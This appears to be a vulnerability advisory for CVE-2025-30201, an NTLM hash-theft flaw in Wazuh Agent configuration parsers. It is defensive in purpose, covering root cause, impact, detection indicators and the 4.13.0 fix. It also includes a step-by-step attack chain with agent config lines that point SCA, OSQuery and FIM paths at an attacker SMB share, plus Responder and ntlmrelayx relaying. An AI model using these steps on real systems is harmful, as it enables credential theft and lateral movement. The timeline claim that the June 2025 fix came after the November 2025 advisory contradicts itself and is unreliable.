CVE-2025-30201: 
Wazuh Agent vulnerability analysis and mitigation

CVE-2025-30201 is a NetNTLMv2 hash theft vulnerability in Wazuh Agent that allows authenticated attackers to force NTLM authentication by injecting malicious UNC paths into various agent configuration settings, potentially enabling NTLM relay attacks leading to privilege escalation and remote code execution. It affects all Wazuh versions prior to 4.13.0 and was disclosed on November 21, 2025. The vulnerability carries a CVSS v3.1 base score of 9.1 (Critical) per NVD, though the GitHub Security Advisory assigns a score of 7.7 (High) with higher attack complexity (GitHub Advisory, Red Hat CVE).

The root cause is improper input validation in multiple Wazuh Agent configuration parsers, classified under CWE-73 (External Control of File Name or Path) and CWE-294 (Authentication Bypass by Capture-replay). An attacker with control over a Wazuh server or possession of an agent's private key can push centralized configurations containing malicious UNC paths (e.g., \\ATTACKER-IP\share\sca.txt) to target agents. The affected components include the SCA (Security Configuration Assessment) module, OSQuery monitoring configuration, and FIM (File Integrity Monitoring) configuration — none of which validated or restricted network path prefixes before attempting file access. When the agent processes these configurations, it initiates an SMB connection to the attacker-controlled server, triggering NTLM authentication and exposing the NetNTLMv2 hash of the machine's domain account (GitHub Advisory, Fix PR).

Successful exploitation allows an attacker to capture NetNTLMv2 hashes from domain-joined Windows machines running the Wazuh Agent, which can then be used for NTLM relay attacks, lateral movement, and privilege escalation across the network. The impact is particularly severe when the compromised agent runs on domain controllers or other privileged systems, as the captured credentials may grant broad access to the environment. Confidentiality, integrity, and availability are all rated HIGH, with a changed scope indicating that the impact extends beyond the vulnerable component itself (GitHub Advisory).

1. Gain privileged access: Obtain authenticated access to the Wazuh server (e.g., via compromised admin credentials) or acquire an agent's private key to push centralized configurations.
2. Set up SMB listener: Deploy a tool such as Responder on an attacker-controlled host (ATTACKER-IP) to capture incoming NTLM authentication attempts over SMB.
3. Craft malicious agent group configuration: Create or modify a Wazuh agent group configuration to include UNC paths pointing to the attacker's SMB server in one or more of the vulnerable modules:
   • SCA: <policy>\\ATTACKER-IP\share\sca.txt</policy>
   • OSQuery: <bin_path>\\ATTACKER-IP\share\osqueryd.exe</bin_path>
   • FIM: <directories>\\ATTACKER-IP\share\fim.txt</directories>
4. Push configuration to target agent group: Apply the malicious configuration to the target Windows agent group via the Wazuh server's centralized configuration mechanism.
5. Capture NetNTLMv2 hash: When the Wazuh Agent processes the configuration and attempts to access the UNC path, it initiates an SMB connection and performs NTLM authentication, allowing Responder to capture the NetNTLMv2 hash of the machine's domain account.
6. Relay or crack the hash: Use the captured hash for NTLM relay attacks (e.g., with ntlmrelayx) against other systems in the domain, or attempt offline cracking to recover the plaintext password for further lateral movement (GitHub Advisory, Fix PR).

• Network: Outbound SMB traffic (TCP port 445) from Wazuh Agent hosts to unexpected external or internal IP addresses; NTLMSSP authentication packets captured in network traffic destined for non-standard SMB servers.
• Logs: Wazuh agent logs containing warnings such as WARNING: (9801): Network path not allowed in configuration (post-patch) or unexpected file access attempts to UNC paths in modules like syscheck, osquery, or SCA; agent logs showing connections to \\<unknown-IP>\share\ paths.
• File System: Wazuh agent group configuration files (agent.conf) containing UNC paths (e.g., \\<IP>\share\) in SCA policy, OSQuery binary/log/config paths, FIM directories, logcollector locations, or command module entries.
• Process: Wazuh agent processes initiating unexpected network connections; SMB authentication events in Windows Security Event Log (Event ID 4624/4625) from the agent host to unfamiliar servers (GitHub Advisory, Fix PR).

Upgrade Wazuh Agent to version 4.13.0 or later, which introduces wrappers for file operation functions that detect and block UNC paths and mapped network drives before any file access is attempted. The fix (merged via PR #30060) adds is_network_path() checks across all affected configuration parsers including logcollector, syscheck, osquery, SCA, rootcheck, and the command module. As an interim workaround, restrict administrative access to the Wazuh server and audit agent group configurations for any UNC paths; additionally, implement network-level controls to block outbound SMB (TCP 445) from agent hosts to unauthorized destinations (Fix PR, GitHub Advisory).

The vulnerability was reported by security researcher mahmoudbettouch and published via GitHub's security advisory program on November 21, 2025. The Wazuh development team responded promptly, merging the fix into the 4.13.0 branch on June 10, 2025 (after the advisory was published). Greenbone's March 2026 threat report highlighted this vulnerability as part of a broader set of critical enterprise risks. Community discussion has been limited, with no major media coverage or widespread social media reaction observed beyond standard vulnerability tracking channels (GitHub Advisory, Greenbone Report).